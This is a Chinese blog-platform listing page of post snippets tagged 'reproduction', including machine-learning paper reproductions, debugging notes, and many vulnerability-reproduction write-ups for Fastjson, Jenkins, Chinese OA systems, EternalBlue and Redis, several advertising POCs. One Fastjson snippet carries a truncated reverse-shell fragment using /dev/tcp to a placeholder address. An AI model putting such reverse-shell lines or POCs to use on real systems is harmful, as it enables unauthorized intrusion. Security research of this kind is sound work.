论文解读复现

易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现 [附POC]

文章目录易宝OA系统ExecuteSqlForSingle接口SQL注入漏洞复现[附POC]0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造POC3.
gaynell·2023-11-29 07:21

U-Net代码复现--更新中

本文记录自己的学习过程，内容包括：代码解读：Pytorch-UNet深度学习编程基础：Pytorch-深度学习（新手友好）UNet论文解读：医学图像分割：U_Net论文阅读数据：https://hackernoon.com
北方骑马的萝卜·2023-11-29 06:42

java.lang.ClassCastException: cn.hutool.json.JSONObject cannot be cast toXXXX

问题复现:Listresult=(List)response.getData();Testtest=result.get(0);然后就报错:java.lang.ClassCastException:cn.hutool.json.JSONObjectcannotbecasttoXXXX
Logan_addoil·2023-11-29 05:34

【代码】微电网两阶段鲁棒优化经济调度方法（完美复现）matlab-yalmip-cplex/gurobi

程序名称：两阶段鲁棒优化—微电网两阶段鲁棒优化经济调度方法_刘一欣实现平台：matlab-yalmip-cplex/gurobi简介：针对微电网内可再生能源和负荷的不确定性，建立了min-max-min结构的两阶段鲁棒优化模型，可得到最恶劣场景下运行成本最低的调度方案。模型中考虑了储能、需求侧负荷及可控分布式电源等的运行约束和协调控制，并引入了不确定性调节参数，可灵活调整调度方案的保守性。基于列约
玉子（代码分享版）·2023-11-29 05:25

【代码】考虑区域多能源系统集群协同优化的联合需求侧响应模型（完美复现）

程序名称：考虑区域多能源系统集群协同优化的联合需求侧响应模型实现平台：matlab-yalmip-cplex/gurobi代码简介：风电、光伏发电等波动电源接入比例不断提高，使得区域多能源系统中能量转化和协调能力减弱。基于此，该文提出一种多个区域级多能源系统互联后多目标协同优化的联合需求侧响应模型及响应策略求解算法。首先提出联合需求侧响应概念及模型，并在此基础上研究多区域电气热(冷)互联系统中的多
玉子（代码分享版）·2023-11-29 05:25

jenkins 代码执行 (CVE-2017-1000353)漏洞复现

jenkins代码执行(CVE-2017-1000353)漏洞复现名称:jenkins代码执行（CVE-2017-1000353）描述:Jenkins可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助
梧六柒·2023-11-29 03:26

jekins CVE-2018-1000861 漏洞复现

jekinsCVE-2018-1000861漏洞复现‍名称:jenkins命令执行（CVE-2018-1000861）描述:Jenkins可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助
梧六柒·2023-11-29 03:54

Fastjson-1.2.47远程命令执行漏洞(标明坑位)

前言最近一直想复现这个漏洞，但是一直没时间，也没怎么在网上找到真的有用的文章，太多水文了，10篇文章有9篇都是一模一样的copy，还有一篇就只copy了一半，另一半就不搞了，真的是有其人的，于是花了一点时间去复现这个洞
晚安這個未知的世界·2023-11-29 03:51

fastjson1.2.47RCE远程命令执行漏洞复现

fastjson1.2.47RCE远程命令执行漏洞复现漏洞背景在2019年6月，fastjson被爆出在fastjson&/dev/tcp/x.x.x.x/port0>&1"};Processpc=rt.exec
zyl404·2023-11-29 03:51

fastjson 1.2.47 远程命令执行漏洞

fastjson1.2.47远程命令执行漏洞文章目录fastjson1.2.47远程命令执行漏洞1在线漏洞解读:2环境搭建3影响版本：4漏洞复现4.1访问页面4.2bp抓包，修改参数5使用插件检测漏洞【
煜磊·2023-11-29 03:50

pytorch学习

最近在复现一些比较新的Paper，里面的神经网络模型都比较多样化，训练方式也千奇百怪。对于Caffe和TensorFlow这样的预编译框架，不灵活这一缺陷就变得十分明显了。
一岁一骷髅·2023-11-29 03:20

复现Fastjson 1.2.47 远程命令执行漏洞

复现Fastjson1.2.47远程命令执行漏洞漏洞原理：Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。
清风-77·2023-11-29 03:17

Fastjson 1.2.47 远程命令执行漏洞复现记录分享

Fastjson1.2.47远程命令执行漏洞复现前言环境要求环境准备靶机VPS漏洞复现前言Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。
YezIwnl·2023-11-29 03:46

vulhub复现之fastjson1.2.47漏洞复现

漏洞复现反弹shell前言：干什么事情都要坚持到底一定一定可以成功哒！！!学习真是痛并快乐着！在此鸣谢郭师傅对我的悉心教导！听我说谢谢你！看到这个漏洞我想先得知道什么是json？
小杜不饿·2023-11-29 03:15

【黑客】网络安全—小白自学笔记

2.渗透技术掌握A.初级渗透首先要学习网络安全的渗透基础内容，包括信息收集，web安全，渗透工具精通，漏洞复现和实战漏洞挖掘B.高级渗透-分方向内容分很多但是整体所需要掌握的内容差
羊村最强沸羊羊·2023-11-29 03:12

网络安全小白自学

2.渗透技术掌握A.初级渗透首先要学习网络安全的渗透基础内容，包括信息收集，web安全，渗透工具精通，漏洞复现和实战漏洞挖掘B.高级渗透-分方向内容分很多但是整体所需要掌握的内容差
羊村最强沸羊羊·2023-11-29 03:12

GCNv2复现-CPU

系统：vmware虚拟机，Ubuntu18.04运行平台：CPU，因为电脑没有N卡，所以在CPU运行一、一些工具的安装1.配置过程中所需要cmake、gcc、g++、git和pip工具。sudoapt-getinstallcmakesudoapt-getinstallgccg++sudoapt-getinstallgitsudoapt-getinstallpython3-pip2.安装vimsud
Abbysbear·2023-11-29 03:40

想成为网络安全工程师该如何学习？

2.渗透技术掌握A.初级渗透首先要学习网络安全的渗透基础内容，包括信息收集，web安全，渗透工具精通，漏洞复现和实战漏洞挖掘B.高级渗透-分方向内容分很多但是整体所需要掌握的内容差
羊村最强沸羊羊·2023-11-29 03:35

亿赛通电子文档安全管理系统UploadFileFromClientServiceForClient接口存在任意文件上传漏洞 附POC

1.亿赛通电子文档安全管理系统接口简介微信公众号搜索：南风漏洞复现文库该文章南风漏洞复现文库公众号首发亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱
sublime88·2023-11-29 02:38

用友NC word.docx接口存在任意文件读取漏洞 附POC

1.用友NC简介微信公众号搜索：南风漏洞复现文库该文章南风漏洞复现文库公众号首发用友网络是全球领先的企业与公共组织软件、云服务
sublime88·2023-11-29 02:38

通达OA inc/package/down.php接口存在未授权访问漏洞 附POC

1.通达OA接口简介微信公众号搜索：南风漏洞复现文库该文章南风漏洞复现文库公众号首发通达OA（Office
sublime88·2023-11-29 02:02

使用Postman快速复现浏览器的请求(包括生成调用代码)

前言大家好！我是sum墨，一个一线的底层码农，平时喜欢研究和思考一些技术相关的问题并整理成文，限于本人水平，如果文章和代码有表述不当之处，还请不吝赐教。好久没有写开发类的工具使用文了，这次我来讲下平时我是如何使用Postman工具的。一、工具准备软件下载链接：https://www.postman.com/downloads/根据你自己的操作系统下载正确的版本吧！账号对于Postman不是必须的，
sum墨·2023-11-29 01:16

tinyalsa播放录音调用流程

今天有些闲暇时间想来把在公司讲解的过程在博客上用文字复现一遍，为了避免一些问题所以把流程图里以公司开头的前缀给划掉了。先上pcm_open()总图：最后三
Windra6·2023-11-29 01:45

htop命令中显示相同进程的解决方案

本文介绍了如何省略这些重复现实的进程。输入htop，显示出htop界面。
lgc0208·2023-11-29 01:40

RISC-V学习笔记【中断和异常】

一般的由处理器外部因素引起的程序跳转称为中断广义上来说中断和异常都被处理器视为异常，一般将其分为同步异常和异步异常同步异常同步异常：由于执行程序指令流或者试图执行程序指令流而造成的异常表现：CPU外部环境一定，多次执行时每次能够精确复现常见的同步异常包括但不限于
内 鬼·2023-11-29 00:44

CORE-ESP32C3|eink|墨水屏日历+时间日期+温度显示|I2C软件模拟| LuatOS-SOC接口|官方demo|学习(14)：墨水屏动态日历+oled日期显示+ AHT10测温模组

目录参考博文源于网友oled+eink+aht10项目源代码修改及复现说明主要修改显示效果编辑硬件准备软件版本日志及soc下载工具软件使用接线说明天气显示屏硬件接线温度采集日期温度显示屏正常初始化LOG
打酱油的工程师·2023-11-28 23:42

海康运行管理中心 RCE漏洞复现

0x01产品简介海康威视是以视频为核心的智能物联网解决方案和大数据服务提供商。海康运行管理中心是一款功能强大、易于使用的安防管理平台，能满足用户对视频监控、报警管理、设备配置和数据统计等方面的需求，帮助用户建立高效、智能的安防系统。0x02漏洞概述海康运行管理中心系统使用低版本的fastjson，攻击者可在未鉴权情况下获取服务器权限，且由于存在相关依赖，即使服务器不出网无法远程加载恶意类也可通过本
OidBoy_G·2023-11-28 22:34

泛微E-Office SQL注入漏洞复现

0x01产品简介泛微E-Office是一款标准化的协同OA办公软件，泛微协同办公产品系列成员之一,实行通用化产品设计，充分贴合企业管理需求，本着简洁易用、高效智能的原则，为企业快速打造移动化、无纸化、数字化的办公平台。0x02漏洞概述泛微e-officejson_common.php、flow_xml.php、sms_page.php、getUserLists、detail.php、Init.ph
OidBoy_G·2023-11-28 22:34

人工智能---动物识别系统

前言由于研究生阶段的需要，需要系统学习C#语言，为了将最近学习的东西进行一个总结，偶然间想到了本科写的那个动物识别系统，用C语言写的很简单，只是用了简单的if…else语句，这里也是简单的用C#语言进行了一个复现
亲爱的老吉先森·2023-11-28 21:00

实战中使用的策略模式，使用@ConditionalOnProperty实现根据环境注册不同的bean

场景复现举个例子，针对不同的设备的内存的不同加载一些资源的时候需要采取不同的策略，比如，在内存比较大的设备，可以一次性加载，繁殖需要使用懒加载，这个时候我们就可以采用配置文件+配置中心去控制了@ConditionalOnProperty
[奸笑]这个不是斜眼笑[奸笑]·2023-11-28 21:52

数字孪生智慧校园 Web 3D 可视化监测

图扑软件应用自研HTforWeb产品搭建的智慧校园解决方案，将校园的物理结构模拟复现，无缝对接校园各业务系统。归集校园内的关键信息和综合态势，实现跨信息的深度关联
图扑可视化·2023-11-28 20:47

【小白进阶】Linux 调试大法——gdb

即gdbprogram-->r-->问题复现-->bt查看源码中的哪一行出现了错误。再稍微熟练点的，可能就是pvar查看一下变量的值，进一步协助排查。
谢艺华·2023-11-28 18:59

数组和函数运用---扫雷游戏复现+代码分析

文章目录简述分析设计代码实现扩展简述通过对数组与函数的初步学习，知道了数组与函数的使用方式，通过运用知识，准备复现一下，经典小游戏-------扫雷。
懒-洋洋·2023-11-28 18:16

业务逻辑漏洞原理及复现

业务逻辑漏洞复现文章目录业务逻辑漏洞复现什么是业务逻辑漏洞验证码绕过漏洞复现抓包1分钱购买商品dami_5.4逻辑漏洞复现皮卡丘验证码绕过什么是业务逻辑漏洞由于开发者的逻辑不严谨，造成的程序异常由于开发者的逻辑不严谨造成的程序功能异常比如某一个购物软件使用
抠脚大汉在网络·2023-11-28 17:32

智能优化算法改进算法 -附matlab代码

智能优化算法改进算法摘要：为了方便大家对智能优化算法进行改进，复现多种智能优化改进算法供大家参考。所有代码均根据已经发表的文章，来复现方便大家参考别人的原理，代码会不定时更新。
Matlab_数学建模助手·2023-11-28 16:09

buuctf-[BJDCTF2020]The mystery of ip

[BJDCTF2020]Themysteryofip考点复现参考考点模板注入复现看到提示，说是怎么知道我的ip，那就说明应该是该请求头，然后模板注入，然后发现果然是。
qq_42728977·2023-11-28 15:30

Nexus Repository Manager3远程命令执行漏洞复现CVE-2020-10199

0x00简介nexus的全称是NexusRepositoryManager，是Sonatype公司的一个产品。它是一个强大的仓库管理器，极大地简化了内部仓库的维护和外部仓库的访问。主要用它来搭建公司内部的maven私服。但是它的功能不仅仅是创建maven私有仓库这么简单，还可以作为nuget、docker、npm、bower、pypi、rubygems、gitlfs、yum、go、apt等的私有仓
5f4120c4213b·2023-11-28 15:53

msf复现永恒之蓝漏洞ms17-010（详解）

目录实验环境实验目的永恒之蓝简介Metasploit简介复现永恒之蓝漏洞1首先使用namp扫描一下windows7编辑2使用工具3查找永恒之蓝漏洞模块4漏洞检测5实现漏洞利用6meterpreter命令举例实验环境
网安小t·2023-11-28 14:38

Junos webauth_operation.php 文件上传漏洞复现（CVE-2023-36844）

0x03复现环境FOF
OidBoy_G·2023-11-28 07:11

广联达linkworks 文件上传漏洞复现

0x01产品简介广联达LinkWorks（也称为GlinkLink或GTP-LinkWorks）是广联达公司（Glodon）开发的一种BIM（建筑信息模型）协同平台。广联达是中国领先的数字建造技术提供商之一，专注于为建筑、工程和建筑设计行业提供数字化解决方案。0x02漏洞概述由于广联达LinkWorks/GB/LK/ArchiveManagement/Js/GWGDWebService.asmx接
OidBoy_G·2023-11-28 07:10

东胜物流软件 SQL注入漏洞复现

0x01产品简介东胜物流软件是一款致力于为客户提供IT支撑的SOP，帮助客户大幅提高工作效率，降低各个环节潜在风险的物流软件。0x02漏洞概述东胜物流软件TCodeVoynoAdapter.aspx、/TruckMng/MsWlDriver/GetDataList、/MvcShipping/MsBaseInfo/SaveUserQuerySetting等接口处存在SQL注入漏洞，攻击者除了可以利用
OidBoy_G·2023-11-28 07:10

金蝶Apusic应用服务器 任意文件上传漏洞复现

0x01产品简介金蝶Apusic应用服务器（ApusicApplicationServer，AAS）是一款标准、安全、高效、集成并具丰富功能的企业级应用服务器软件，全面支持JakartaEE8/9的技术规范，提供满足该规范的Web容器、EJB容器以及WebService容器等，支持Websocket1.1、Servlet4.0、HTTP2.0等最新的技术规范，为企业级应用的便捷开发、灵活部署、可靠
OidBoy_G·2023-11-28 07:33

经典神经网络——GoogLeNet模型论文详解及代码复现

论文地址：[1409.4842]GoingDeeperwithConvolutions(arxiv.org)一、GoogLeNet概述创新点我认为，这篇文章最大的创新点是引入了一个名为Inception块的结构，能够增加神经网络模型大小的同时，减缓参数量的爆炸式增长，从而提升神经网络模型的表现。准确率一个简单的网络，是无法达到很好的表现，因为它的参数简单，表达的信息很少。所以我们想要一个表现很好的
伪_装·2023-11-28 06:39

经典神经网络——AlexNet模型论文详解及代码复现

一、背景AlexNet是在2012年由AlexKrizhevsky等人提出的，该网络在2012年的ImageNet大赛上夺得了冠军，并且错误率比第二名高了很多。Alexnet共有8层结构，前5层为卷积层，后三层为全连接层。论文地址：ImageNetClassificationwithDeepConvolutionalNeuralNetworks二、创新点1、使用大型深度卷积神经网络作者使用了一个大
伪_装·2023-11-28 06:29

泛微E-Cology SQL注入漏洞复现【QVD-2023-15672】

泛微E-CologySQL注入漏洞复现【QVD-2023-15672】一、产品简介二、漏洞概述三、影响范围四、复现环境五、漏洞复现六、修复建议免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失
安全攻防赵小龙·2023-11-28 05:58

Google Chrome 任意文件读取 (CVE-2023-4357)漏洞复现

GoogleChrome任意文件读取(CVE-2023-4357)漏洞复现1.漏洞描述该漏洞的存在是由于GoogleChrome中用户提供的XML输入验证不足。
天猫来下凡·2023-11-28 05:58

泛微E-Cology CheckServer.jspSQL注入漏洞(QVD-2023-9849) 复现

泛微E-CologyCheckServer.jspSQL注入漏洞(QVD-2023-9849)复现1.漏洞描述泛微EcologyOA系统对用户传入的数据过滤处理不当，导致存在SQL注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意
天猫来下凡·2023-11-28 05:58

泛微e-cology9 SQL注入漏洞复现【QVD-2023-5012】

泛微e-cology9SQL注入漏洞复现【QVD-2023-5012】一、产品简介二、漏洞概述三、影响范围四、复现环境五、漏洞复现六、修复建议免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失
安全攻防赵小龙·2023-11-28 05:28

泛微E-Cology SQL注入漏洞复现（QVD-2023-15672）

泛微E-CologySQL注入漏洞复现（QVD-2023-15672）1.漏洞描述泛微EcologyOA系统对用户传入的数据过滤处理不当，导致存在SQL注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意
天猫来下凡·2023-11-28 05:26

Redis Lua沙盒绕过 命令执行(CVE-2022-0543)漏洞复现

RedisLua沙盒绕过命令执行(CVE-2022-0543)漏洞复现Redis如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
梧六柒·2023-11-28 04:47
上一页 48 49 50 51 52 53 54 55 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他